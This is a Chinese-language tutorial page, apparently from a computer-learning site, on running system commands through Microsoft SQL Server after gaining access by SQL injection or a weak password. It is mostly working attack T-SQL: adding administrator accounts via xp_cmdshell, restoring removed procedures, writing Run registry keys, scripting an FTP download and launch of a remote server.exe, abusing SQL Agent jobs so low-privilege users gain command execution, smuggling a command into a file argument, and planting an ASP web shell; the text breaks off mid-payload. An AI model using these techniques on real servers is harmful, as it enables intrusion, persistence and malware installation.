萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> mssql數據庫 >> 怎樣在MSSQL執行命令

怎樣在MSSQL執行命令

  假設一台主機開了1433端口我們已通過SQL注入或是空弱密碼遠程連接

  能有哪些辦法加一個系統管理員用戶呢(或是執行系統命令)

  1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'

  人人都知道的辦法,最大的好處是有回顯,但是最怕

  if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

  exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

  通過上面的T-SQL語句就可以把這個擴展儲存刪了

  我們一般可以用

  2k:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  SQL97:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'

  就還原了.

  但是有的人知道sp_addextendedproc也只不過是一個儲存過程一樣可以刪除的

  Drop PROCEDURE sp_addextendedproc

  if exists (select * from

  dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

  OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

  exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

  還原:

  create procedure sp_addextendedproc --- 1996/08/30 20:13

  @functname nvarchar(517),/* (owner.)name of function to call */

  @dllname varchar(255)/* name of DLL containing function */

  as

  set implicit_transactions off

  if @@trancount > 0

  begin

  raiserror(15002,-1,-1,'sp_addextendedproc')

  return (1)

  end

  /*

  ** Create the extended procedure mapping.

  */

  dbcc addextendedproc( @functname, @dllname)

  return (0) -- sp_addextendedproc

  呀呀寫了這麼多其實有個最簡單的保護辦法:

  先NET stop mssqlserver,然後把xplog70.dll(SQL97下用xpsql70.dll)刪了

  再把服務打開就可以了

  2)看了上面的你就明白了xp_cmdshell最終是可以被刪除的沒別的辦法了嗎?

  有寫注冊表三:

  xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWAREMicrosoftWindowscurrentversionrun', 'czy82','REG_SZ', net user czy bb /add

  其實注冊表還有好幾個地方可以寫的比如說注冊表中的WEB浏覽設置

  用寫注冊表的辦法不好的地方是不但沒有回顯而且不能馬上運行實不實用我也不知道了

  3)

  declare @s int

  exec sp_oacreate "wscript.shell",@s out

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:a.txt"

  exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

  對了正如你看到的我們還可以使用sp_oacreate和sp_oamethod在它們的作用下我們可以

  調用系統的控件比如說fso,wsh,shell什麼的,但是有個問題是並不能象xp_cmdshell那樣

  馬上看到結果真的不能嗎看下面的:

  declare @s int,@o int ,@f int,@str nvarchar(4000)

  /*exec sp_oacreate "wscript.shell",@s out

  exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:temp.txt"*/

  exec sp_oacreate "scripting.filesystemobject", @o out

  exec sp_oamethod @o, "opentextfile", @f out,"c:temp.txt", 1

  exec sp_oamethod @f, "readall",@str out

  print @str

  先執行注解內的然後執行外面的其實原理很簡單就是利用>把結果寫到一個文件中然後用

  fso來讀出來!很實用的

  4)

  use msdb; --這兒不要是master喲

  exec sp_add_job @job_name='czy82';

  exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:>c:b.txt';

  exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';

  exec sp_start_job @job_name='czy82';

  利用MSSQL的作業處理也是可以執行命令的而且如果上面的subsystem的參數是tsql後面的我們就可以

  執行tsql語句了.

  對於這幾個儲存過程的使用第一在@server_name我們要指定你的sql的服務器名

  第二系統的sqlserveragent服務必須打開(默認沒打開的氣人了吧)

  net start SQLSERVERAGENT

  對於這個東東還有一個地方不同就是public也可以執行..同這兒也是有系統洞洞的看下面的

  USE msdb

  EXEC sp_add_job @job_name = 'GetSystemOnSQL',

  @enabled = 1,

  @description = 'This will give a low privileged user Access to

  xp_cmdshell',

  @delete_level = 1

  EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',

  @step_name = 'Exec my sql',

  @subsystem = 'TSQL',

  @command = 'exec master..xp_execresultset N''select ''''exec

  master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''

  EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',

  @server_name = '你的SQL的服務器名'

  EXEC sp_start_job @job_name = 'GetSystemOnSQL'

  不要懷疑上面的代碼我是測試成功了的!這兒我們要注意xp_execresultset就是因為它所以

  才讓我們可以以public執行xp_cmdshell

  5)關於Microsoft SQL Agent Jobs任意文件可刪除覆蓋漏洞(public用戶也可以)

  在安焦有文章:http://www.xfocus.net/vuln/vul_view.PHP?vul_id=2968

  USE msdb

  EXEC sp_add_job @job_name = 'ArbitraryFileCreate',

  @enabled = 1,

  @description = 'This will create a file called c:sqlafc123.txt',

  @delete_level = 1

  EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',

  @step_name = 'SQLA

  FC',

  @subsystem = 'TSQL',

  @command = 'select ''hello, this file was created by the SQL Agent.''',

  @output_file_name = 'c:sqlafc123.txt'

  EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',

  @server_name = 'SERVER_NAME'

  EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

  如果subsystem選的是:tsql在生成的文件的頭部有如下內容

  ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19

  ----------------------------------------------

  hello, this file was created by the SQL Agent.

  (1 ?????)

  所以我建議要生成文件最好subsystem選cmdexec,如果利用得好我們可以寫一個有添加管理員

  命令的VBs文件到啟動目錄!

  6)關於sp_makewebtask(可以寫任意內容任意文件名的文件)

  關於sp_MScopyscriptfile 看下面的例子

  declare @command varchar(100)

  declare @scripfile varchar(200)

  set concat_null_yields_null off

  select @command='dir c: > "attackeripsharedir.txt"'

  select @scripfile='c:autoexec.bat > nul" | ' + @command + ' | rd "'

  exec sp_MScopyscriptfile @scripfile ,''

  這兩個東東都還在測試試喲

  讓MSSQL的public用戶得到一個本機的web shell:)

  sp_makewebtask @outputfile='d:smsa.asp',@charset=gb2312,

  --@query='select '''''

  --@query='select '''' '

  @query='select ''

  " method="POST">

copyright © 萬盛學電腦網 all rights reserved